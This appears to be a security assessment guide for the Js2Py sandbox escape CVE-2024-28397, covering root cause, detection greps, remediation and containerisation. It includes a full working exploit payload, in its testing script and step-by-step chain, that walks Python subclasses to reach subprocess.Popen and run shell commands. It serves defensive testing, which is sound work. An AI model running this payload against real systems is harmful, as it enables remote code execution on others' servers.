Js2Py CVE-2024-28397 Security Assessment

A skill for security professionals to understand, test for, and remediate the Js2Py sandbox escape vulnerability (CVE-2024-28397).

⚠️ Authorization Required

This skill is for authorized security testing only. Only use these techniques on:

• Systems you own or have explicit written permission to test
• Your own development/testing environments
• Bug bounty programs where this vulnerability is in scope

Unauthorized access to computer systems is illegal.

What This Vulnerability Is

Js2Py translates JavaScript into Python objects. Even when

js2py.disable_pyimport()

is used, untrusted JavaScript can traverse Python internals to reach dangerous classes like

subprocess.Popen

, achieving remote code execution (RCE).

Affected versions: Js2Py ≤ 0.74

Root cause: Js2Py exposes Python object wrappers to JavaScript without stripping dangerous attributes (

__getattribute__

,

__class__

,

__base__

,

__subclasses__

). The

disable_pyimport()

function only blocks explicit imports but doesn't prevent accessing already-loaded modules.

The Exploitation Chain

Step-by-Step Primitive Chain

1. Get a Python-backed object:

   Object.getOwnPropertyNames({})

   returns a

   dict_keys

   object in Python space
2. Recover attribute access: Grab

   .__getattribute__

   from that object to read arbitrary attributes
3. Climb to

   object

   : From

   <class 'dict_keys'>

   read

   .__base__

   to reach Python's base

   object

4. Enumerate loaded classes: Call

   object.__subclasses__()

   to walk every class loaded in the interpreter
5. Find

   subprocess.Popen

   : Recursively search subclasses where

   __module__ == "subprocess"

   and

   __name__ == "Popen"

6. Execute commands: Instantiate Popen with attacker-controlled arguments and invoke

   .communicate()

Why This Works

• Js2Py exposes Python object wrappers to JS without stripping dangerous dunder methods

• disable_pyimport()

  only blocks explicit

  pyimport

  calls
• The chain never imports anything new; it reuses already-loaded modules in memory
• No hard isolation between JS and Python execution contexts

Testing for the Vulnerability

Local Reproduction (Authorized Testing Only)

# Js2Py 0.74 requires Python 3.11 (breaks on 3.12/3.13)
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py

# Test 1: Basic object access
print("Test 1:", js2py.eval_js("Object.getOwnPropertyNames({})"))

# Test 2: Attribute access primitive
print("Test 2:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))

# Test 3: Class traversal
print("Test 3:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))

# Test 4: Base object access
print("Test 4:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))

# Test 5: Subclass enumeration
print("Test 5:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Web Application Testing

Any endpoint that feeds attacker-controlled JS into

js2py.eval_js()

is vulnerable if:

• The process user has shell access
• Js2Py version ≤ 0.74
• No additional sandboxing layers exist

Common vulnerable patterns:

# VULNERABLE: Flask endpoint accepting JS code
@app.route('/run_code')
def run_code():
    js_code = request.json['code']
    result = js2py.eval_js(js_code)  # RCE if attacker controls js_code
    return jsonify({'result': result})

# VULNERABLE: Even with disable_pyimport()
js2py.disable_pyimport()
result = js2py.eval_js(attacker_controlled_js)  # STILL VULNERABLE

Detection Checklist

Use this checklist to identify vulnerable systems:

• Dependency scan: Check if

  js2py

  is in

  requirements.txt

  ,

  package.json

  , or lock files
• Version check: Verify if version is ≤ 0.74
• Code search: Look for

  js2py.eval_js(

  with user-controlled input
• API review: Identify endpoints accepting JavaScript code execution
• Sandbox review: Check if

  disable_pyimport()

  is the only mitigation
• Process permissions: Determine if the process user has shell access

Code Search Patterns

# Find js2py usage
grep -r "import js2py" .
grep -r "from js2py" .
grep -r "eval_js" .

# Find disable_pyimport usage (false sense of security)
grep -r "disable_pyimport" .

Remediation Strategies

Immediate Mitigations

1. Upgrade Js2Py (if a patched version exists)

   pip install --upgrade js2py
   

2. Remove untrusted JS execution

   • If you don't need to execute untrusted JavaScript, remove js2py entirely
   • Use safer alternatives like Node.js in a container for JS execution

3. Implement hard isolation

   • Run js2py in a separate process with minimal privileges
   • Use containers (Docker) with no shell access
   • Implement network isolation

Long-term Solutions

1. Replace with safer alternatives

   • For JS execution: Use Node.js in isolated containers
   • For JS-to-Python data exchange: Use JSON serialization instead of object translation

2. Implement input validation

   • Whitelist allowed JavaScript operations
   • Sanitize all user input before execution
   • Use allowlists rather than blocklists

3. Defense in depth

   • Run in containers with seccomp profiles
   • Use read-only filesystems where possible
   • Implement network egress filtering
   • Monitor for suspicious process spawning

Example: Containerized Isolation

FROM python:3.11-slim

# Install js2py
RUN pip install js2py==0.74

# Create unprivileged user
RUN useradd -r -s /bin/false js2py_user

# Set restrictive environment
USER js2py_user
WORKDIR /app

# No shell access, limited capabilities
CMD ["python", "app.py"]

Security Testing Script

Use this script to test your own systems (authorized testing only):

#!/usr/bin/env python3
"""Test for CVE-2024-28397 in your own js2py installations."""

import js2py
import sys

def test_sandbox_escape():
    """Test if the sandbox can be escaped."""
    
    # Test payload - harmless command for testing
    test_cmd = "echo 'sandbox_test_success'"
    
    payload = f"""
    let cmd = "{test_cmd}";
    let hacked, bymarve, n11;
    let getattr, obj;
    
    hacked = Object.getOwnPropertyNames({});
    bymarve = hacked.__getattribute__;
    n11 = bymarve("__getattribute__");
    obj = n11("__class__").__base__;
    getattr = obj.__getattribute__;
    
    function findpopen(o) {{
        let result;
        for (let i in o.__subclasses__()) {{
            let item = o.__subclasses__()[i];
            if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
                return item;
            }}
            if (item.__name__ != "type" && (result = findpopen(item))) {{
                return result;
            }}
        }}
    }}
    
    n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    n11;
    """
    
    try:
        result = js2py.eval_js(payload)
        if "sandbox_test_success" in str(result):
            print("[VULNERABLE] Sandbox escape successful!")
            return True
        else:
            print("[SAFE] Sandbox escape failed")
            return False
    except Exception as e:
        print(f"[SAFE] Exception during test: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2024-28397 Vulnerability Test")
    print("=" * 40)
    print(f"Js2Py version: {js2py.__version__}")
    print()
    test_sandbox_escape()

Common Misconceptions

❌ "disable_pyimport() protects us"

False. This only blocks explicit

pyimport

calls. The vulnerability chain never imports anything new.

❌ "We don't execute user JS, so we're safe"

Check carefully. User input might reach js2py through:

• API endpoints accepting code
• File uploads with JS content
• Database-stored scripts
• Third-party integrations

❌ "It's just a sandbox, not production"

False. Development/test environments can be pivot points to production systems if on the same network.

References

• CVE-2024-28397 Details
• Marven11 PoC
• Js2Py GitHub

When to Use This Skill

Use this skill when:

• Reviewing codebases for js2py usage
• Conducting authorized security assessments
• Implementing JavaScript execution in Python applications
• Responding to CVE-2024-28397 alerts
• Designing secure sandbox architectures
• Training security teams on sandbox escapes

Related Vulnerabilities

Similar sandbox escape patterns exist in:

• Other JS-to-Python bridges
• Python-to-JavaScript bridges
• Any language bridge exposing internal object attributes
• Sandboxes relying on attribute blocking without hard isolation